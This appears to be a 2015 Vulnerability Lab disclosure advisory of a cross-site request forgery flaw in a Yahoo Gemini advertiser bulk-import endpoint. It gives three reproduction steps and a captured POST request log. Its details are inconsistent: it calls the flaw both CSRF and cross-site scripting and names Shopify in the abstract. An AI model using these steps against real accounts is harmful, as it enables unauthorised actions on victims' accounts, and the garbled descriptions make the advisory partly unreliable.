Yahoo Bug Bounty #32 - Cross Site Request Forgery bulkImport Web- Vulnerability

From: Vulnerability Lab <>
Subject: Yahoo Bug Bounty #32 - Cross Site Request Forgery bulkImport Web- Vulnerability

Document Title:
Yahoo Bug Bounty #32 - CSRF bulkImport Web Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Yahoo! Inc. is an American multinational internet corporation headquartered in Sunnyvale, California. It is widely 
known for its web portal, search engine Yahoo! Search, and related services, including Yahoo! Directory, Yahoo! Mail, 
Yahoo! News, Yahoo! Finance, Yahoo! Groups, Yahoo! Answers, advertising, online mapping, video sharing, fantasy sports 
and its social media website. It is one of the most popular sites in the United States. According to news sources, 
roughly 700 million people visit Yahoo! websites every month. Yahoo! itself claims it attracts `more than half a 
billion consumers every month in more than 30 languages.

(Copy of the Vendor Homepage: )

Abstract Advisory Information:
The Vulnerability Laboratory Core Research Team discovered a script code inject web vulnerability in the official Shopify online service web-application.

Vulnerability Disclosure Timeline:
2015-07-05: Researcher Notification & Coordination (Hadji Samir)
2015-07-06: Vendor Notification (Security Team)
2015-09-03: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Product: Gemini Yahoo - Online Service (Web-Application) 2015 Q3

Exploitation Technique:

Severity Level:

Technical Details & Description:
A client-side cross site scripting web vulnerability has been discovered in the official Yahoo online service web-application.
The vulnerability allows remote attacker to manipulate client-side web-application to browser request to compromise session data.

The vulnerability is located in the rest_call_back of the vulnerable `/advertiser/ajax/bulkImportCampaigns` module POSt method request.
Remote attackers with low privielege application user accounts are able to inject own malicious script code to compromise client-side 
app to browser requests. The request method to inject is POST and the attack vector is located on the client-side of the online-service.

The security risk of the cross site web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. 
Exploitation of the cross site scripting web vulnerability requires no privileged web application user account and no user interaction. 
Successful exploitation results in client-side account theft by hijacking, client-side phishing, client-side external redirects and 
non-persistent manipulation of affected or connected service modules.

Request Method(s):
                                                    [+] POST
Vulnerable Module(s):
                                                 [+] /advertiser/ajax/bulkImportCampaigns

Proof of Concept (PoC):
The client-side vulnerability can be exploited by remote attackers with low privilege web-application user account with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Create page csrf poc 
2. The victim must login 
3. When the victim will open the page the file csv will upload and creat new Campaigns

Value Vulnerable: rest_call_back

--- PoC Session Logs [POST] ---
POST /advertiser/ajax/bulkImportCampaigns HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Allow-Origin: true
Content-Length: 27740
Content-Type: multipart/form-data; boundary=---------------------------1423959968808241301368549351
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Disposition: form-data; name="sourceType"
Content-Disposition: form-data; name="file"; filename="bulkExample7.0.csv"
Content-Type: text/csv
Content-Disposition: form-data; name="advertiserId"

HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Powered-By: Express
Vary: X-HTTP-Method-Override, Accept-Encoding
Content-Type: text/html; charset=utf-8
ETag: W/"e-20107a17"
Server: ATS
Date: Sat, 30 May 2015 13:55:43 GMT
Age: 0
Connection: keep-alive
Content-Length: 14


Security Risk:
The security risk of the client-side POST inject web vulnerability in the web-application is estimated as medium. (CVSS 3.8)

Credits & Authors:
Vulnerability Laboratory [Research Team] - Hadji Samir []

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:       -                                      -
Contact:     -                        -
Section: -                     -
Social:!/vuln_lab             -                         -
Feeds:   -            -
Programs:       - -

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
( or to get a permission.

                               Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]\u201e


Copyright © 1995-2018 All rights reserved.